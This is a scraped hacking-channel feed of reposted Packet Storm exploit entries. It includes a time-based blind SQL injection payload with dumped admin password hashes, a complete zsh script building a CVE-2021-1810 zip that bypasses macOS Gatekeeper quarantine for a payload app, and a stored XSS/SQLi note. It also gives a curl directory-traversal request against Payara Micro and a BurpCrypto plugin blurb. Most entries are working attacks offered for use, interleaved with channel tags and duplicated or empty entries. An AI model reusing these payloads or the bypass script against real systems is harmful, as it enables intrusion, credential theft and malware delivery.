Exploit Collector
Local Offices Contact Directory Site SQL Injection

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Local Offices Contact Directory Site using PHP and SQLite Free Source Code suffers from a remote SQL injection vulnerability.

MD5 | b6786101aa6c4cb696251f2b75da6e63

Download
https://www.sourcecodester.com/php/14973/local-offices-contact-directory-site-using-php-and-sqlite-free-source-code.html

## Vendor:
[href](https://www.sourcecodester.com/php/14973/local-offices-contact-directory-site-using-php-and-sqlite-free-source-code.html)

## Description:
The `search` parameter appears to be vulnerable to time-based blind
SQL injection attacks, on the web app "Local Offices Contact
Directories Site" (by oretnom23).
The malicious attacker can execute a malicious payload and he can dump
hashes authentication credentials. Then the attacker can to
take control of the admin account of the system and can steal
sensitive information and can destroy the system administrative
account.
## Payload:
```sql
---
Parameter: search (GET)
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: search=481614'||(SELECT CHAR(79,85,82,97) WHERE 8245=8245
AND 4378=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'
---
```
- dump

```sql
Table: admin_list
[2 entries]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 0192023a7bbd73250516f069df18b500 |
| cblake | cd74fae0a3adf459f73bbf187607ccea |
+----------+----------------------------------+
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/fool-CVE-nu11-100421)

## Proof:
[href](https://streamable.com/zmm464)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://www.exploit-db.com/
https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Gatekeeper Bypass Proof Of Concept

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
This script will create a zip file exploiting CVE-2021-1810 by creating a directory hierarchy deep enough for Archive Utility to fail setting quarantine attributes on certain files while also making some path names long enough to prevent Safari automating unzipping from unpacking the archive. Finally, the script will create a symbolic link at the top level, making the zip file appear like a normal app bundle zip file.

MD5 | 993ed96204ab42821d3eacd7f4266ff7

Download
#!/bin/zsh -e

# This script will create a zip file exploiting CVE-2021-1810 by creating a
# directory hierarchy deep enough for Archive Utility to fail setting
# quarantine attributes on certain files while also making some path names
# long enough to prevent Safari automating unzipping from unpacking the archive.
# Finally, the script will create a symbolic link at the top level, making the
# zip file appear like a normal app bundle zip file.

payload=FakeApp.app

createddir=""
pathlen=0

# create a .prefixed directory $len charactes, and increment global path length counter $pathlen
makelongdir() {
len=$1
tdir=.$(perl -e 'print "x"x'${len})
mkdir $tdir
cd $tdir
if [ "$createddir" ] ; then
createddir="$createddir/$tdir"
else
createddir="$tdir"
fi
pathlen=$(($pathlen + $len + 2)) # len+"."+"/"
}

if ! [ -x "$payload" ] ; then
echo "Need a payload (\"$payload\") in pwd to continue!"
exit 1
fi

payloaddir=$(pwd)
targetdir=$(pwd)
startdir=$(mktemp -d)
cd "$startdir"
# Make three directories of max length 255
for i in 1 2 3 ; do
makelongdir 254 # . prefix = length 255
done

# Signpost for debugging; this should be last actual file to have quarantine attribute
touch dummyfile

# ArchiveService will unzip the file contents into a path with length 153
# characters (including final "/") on Catalina, while on Big Sur
# ArchiveService uses a 138 character temp path.
# Any files or directories whose full path exceeds PATH_MAX will not get any
# com.apple.quarantine extended attribute.
# $pathlen contains amount of bytes in path so far; for the final directory
# we can calculate how many characters we need, taking the payload name into
# account.

payloadnamelength=$(echo -n $payload|wc -c)
echo payload name length: $payloadnamelength path length: $pathlen
remaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))
makelongdir $(($remaining))

# save the path we have so far for the symlink creation later
appdir="$createddir"
cp -r "${payloaddir}/$payload" .

# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file
# ...but should still be shorter than 1017 characters, for some reason.
remaining=$((1014 - $pathlen))
makelongdir $remaining

cd "${startdir}"
# Create the symbolic link that will make the app accessible to the user
ln -s ${appdir}/$payload

rm -f ${targetdir}/poc.zip

# Create the final zip file and reveal in Finder
zip -qyr ${targetdir}/poc.zip .
echo "PoC zip containing $payload available at $targetdir"
open -R ${targetdir}/poc.zip

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
College Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
College Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | fbedbfd2771cf6a28832ff287eefc9b4

Download
# Exploit Title: college management system - Stored Cross-Site Scripting (XSS) Unauthenticated
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://www.eedunext.com/
# Software Link: https://code-projects.org/college-management-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Kali Linux
in admin/time-table.php in line 1 :
session_start();
if (!$_SESSION["LoginAdmin"])
{
header('location:../login/login.php');
}
require_once "../connection/connection.php";
?>
in admin/time-table.php in line 17 - 27 :

$course_code=$_POST["course_code"];

$semester=$_POST["semester"];

$timing_from=$_POST["timing_from"];

$timing_to=$_POST["timing_to"];

$day=$_POST["day"];

$subject_code=$_POST["subject_code"];

$room_no=$_POST["room_no"];
is vulnerable to XSS and SqlInjection
--
Table structure for table `time_table`
--

CREATE TABLE `time_table` (
`id` int(11) NOT NULL,
`course_code` varchar(10) NOT NULL,
`semester` int(11) NOT NULL,
`timing_from` varchar(10) NOT NULL,
`timing_to` varchar(10) NOT NULL,
`day` varchar(20) NOT NULL,
`subject_code` varchar(20) NOT NULL,
`room_no` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
20 char
POC :
XSS
Add Time Table
day No:
subject_code No:
Close

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PyRDP RDP Man-In-The-Middle Tool

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
PyRDP is a Python Remote Desktop Protocol (RDP) Monster-in-the-Middle (MITM) tool and library.

MD5 | 06c0d9021f660b1493c9e09fb8e332da

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Company's Recruitment Management System SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Payara Micro Community 5.2021.6 Directory Traversal

https://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png
Payara Micro Community version 5.2021.6 suffers from a directory traversal vulnerability.

MD5 | facaade4d9c2aaf474e859daee70da16

Download
# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal
# Date: 01/10/2021
# Exploit Author: Yasser Khan (N3T_hunt3r)
# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x
# Version: Payara Micro Community 5.2021.6
# Tested on: Linux/Windows OS
# CVE : CVE-2021-41381

https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Proof of Concept:

Step1: Open the browser check the version of the payara software

Step2: Add this Path at end of the URL
/.//WEB-INF/classes/META-INF/microprofile-config.properties

Step3: Check the response with match containing
"payara.security.openid.default.providerURI="

"payara.security.openid.sessionScopedConfiguration=true"

Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.

Step5: Alternatively we can use CURL by using this command:

Request:
curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties

Reference:

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

BurpCrypto - A Collection Of Burpsuite Encryption Plug-Ins, Support AES/RSA/DES/ExecJs(execute JS Encryption Code In Burpsuite)
http://www.kitploit.com/2021/10/burpcrypto-collection-of-burpsuite.html

___________________________
@hacking_Attack
@Hacking_Video

Burpcrypto is a collection of burpsuite (https://www.kitploit.com/search/label/Burpsuite) encryption (https://www.kitploit.com/search/label/Encryption) plug-ins, supporting AES/RSA/DES/ExecJs(execute JS encryption code in burpsuite).
Build
$ mvn package
Usage
中文使用说明 (https://blog.wanghw.cn/burpcrypto)Download the precompiled jar (https://www.kitploit.com/search/label/JAR) package from Releases (https://github.com/whwlsfb/BurpCrypto/releases).Add this jar package to your burpsuite's Extensions.Switch to BurpCrypto tab, select you need Cipher tab.Set key or some value.press "Add processor", and give a name for this processor.Switch to Intruder->Payloads->Payload Processing.press "Add", select "Invoke Burp (https://www.kitploit.com/search/label/Burp) extension", and select processor you just created.press "Start attack", have fun!
Key Example
Aes Key(UTF8String): abcdefgabcdefg12Aes IV(UTF8String): abcdefgabcdefg12Rsa X509 Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC0hrRIjb3noDWNtbDpANbjt5Iwu2NFeDwU16Ec87ToqeoIm2KI+cOs81JP9aTDk/jkAlU97mN8wZkEMDr5utAZtMVht7GLX33Wx9XjqxUsDfsGkqNL8dXJklWDu9Zh80Ui2Ug+340d5dZtKtd+nv09QZqGjdnSp9PTfFDBY133QIDAQABRsa Modulus: ca27d90f03753cbbc9958011baf701ac99305b63f68e26ab5617593e01d2fb519127fb87bafbe6e0472ec3a038575fa292adadbc79390a955a61b29431f78f4734773048a45dcf100e23cabf2df11a55aa90cd6b024a44eed1096c3b9e1408d46aae54d7291b82fe4b7867c5eaa45e9cc0ba7f7ae3e5593337c7dcbace2d02ed2fbbff26c6df8a32bb26be80603fcd94c6c8dbd67878d77b37fedcf808e3d8f469aaa7c65d033d547a5c8ea9bdd5c89b836c65852f355a5efd9c7137a186a62b5eb0e052c8be3096d3b51133f8a8c108292a296c99d37bad42bcc3f6c39fa5e583582942b4fc4e7ff4b6779fff5bbaddc65b19c7c57d8cdb39b1a994e08d4a2f50793d8f707d069c380baf0f64bfdce3b35d0b5c5c59348a35a082012aaf4991080abf518b55787969ff24186cb95f7e7218c904cf1dcaeb5bed723e305b83f2e85d6f116d2c7400f9e49d904db8a5a3a0701cdb579fbf3128511acd0f789ece1233ed926d705b3b0dfa34bf33f5ae4bdc611a602aa03aaae13400bc7ad3813ea4474dc62de3d0cb1f5aac277d895a75d38f9b920938fa6b1de35bd6132798c122403c685bdb6e5e24bbd70cfb3e968da0b8affd398e539e7c1e7add09891780bcbd278f3900499ae09cee0dc62e3f92e70001bab6d46261d2801a37f80d84d0e39fce6eaedf106a61b5961960641b9db0e4e23c770e6370ac5d61c6c9eb0f07Rsa Exponent: 010001DES Key: 12345678DESede Key: 123456781234567812345678
Screenshots
AES Example:

___________________________
@hacking_Attack
@Hacking_Video

ExecJs Example (Here is the modified MD5 (https://www.kitploit.com/search/label/MD5) algorithm):

___________________________
@hacking_Attack
@Hacking_Video

Quick Crypto:

___________________________
@hacking_Attack
@Hacking_Video

Download BurpCrypto (https://github.com/whwlsfb/BurpCrypto)

___________________________
@hacking_Attack
@Hacking_Video

BurpCrypto - A Collection Of Burpsuite Encryption Plug-Ins, Support AES/RSA/DES/ExecJs(execute JS Encryption Code In Burpsuite)

Burpcrypto is a collection of burpsuite encryption plug-ins, supporting AES/RSA/DES/ExecJs(execute JS encryption code in burpsuite).Build$ mvn packageUsage中文使用说明Download the precompiled jar package from Releases.Add this jar package to your burpsuite's Extensions.Switch to BurpCrypto tab, select you need Cipher tab.Set key or some value.press "Add processor", and give a name for this processor.Switch to Intruder->Payloads->Payload Processing.press "Add", select "Invoke Burp extension", and select processor you just created.press "Start attack", have fun!Key ExampleAes Key(UTF8String): abcdefgabcdefg12Aes IV(UTF8String): abcdefgabcdefg12Rsa X509 Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC0hrRIjb3noDWNtbDpANbjt5Iwu2NFeDwU16Ec87ToqeoIm2KI+cOs81JP9aTDk/jkAlU97mN8wZkEMDr5utAZtMVht7GLX33Wx9XjqxUsDfsGkqNL8dXJklWDu9Zh80Ui2Ug+340d5dZtKtd+nv09QZqGjdnSp9PTfFDBY133QIDAQABRsa Modulus: ca27d90f03753cbbc9958011baf701ac99305b63f68e26ab5617593e01d2fb519127fb87bafbe6e0472ec3a038575fa292adadbc79390a955a61b29431f78f4734773048a45dcf100e23cabf2df11a55aa90cd6b024a44eed1096c3b9e1408d46aae54d7291b82fe4b7867c5eaa45e9cc0ba7f7ae3e5593337c7dcbace2d02ed2fbbff26c6df8a32bb26be80603fcd94c6c8dbd67878d77b37fedcf808e3d8f469aaa7c65d033d547a5c8ea9bdd5c89b836c65852f355a5efd9c7137a186a62b5eb0e052c8be3096d3b51133f8a8c108292a296c99d37bad42bcc3f6c39fa5e583582942b4fc4e7ff4b6779fff5bbaddc65b19c7c57d8cdb39b1a994e08d4a2f50793d8f707d069c380baf0f64bfdce3b35d0b5c5c59348a35a082012aaf4991080abf518b55787969ff24186cb95f7e7218c904cf1dcaeb5bed723e305b83f2e85d6f116d2c7400f9e49d904db8a5a3a0701cdb579fbf3128511acd0f789ece1233ed926d705b3b0dfa34bf33f5ae4bdc611a602aa03aaae13400bc7ad3813ea4474dc62de3d0cb1f5aac277d895a75d38f9b920938fa6b1de35bd6132798c122403c685bdb6e5e24bbd70cfb3e968da0b8affd398e539e7c1e7add09891780bcbd278f3900499ae09cee0dc62e3f92e70001bab6d46261d2801a37f80d84d0e39fce6eaedf106a61b5961960641b9db0e4e23c770e6370ac5d61c6c9eb0f07Rsa Exponent: 010001DES Key: 12345678DESede Key: 123456781234567812345678ScreenshotsAES Example:ExecJs Example (Here is the modified MD5 algorithm):Quick Crypto: Download BurpCrypto
Read more...

___________________________
@hacking_Attack
@Hacking_Video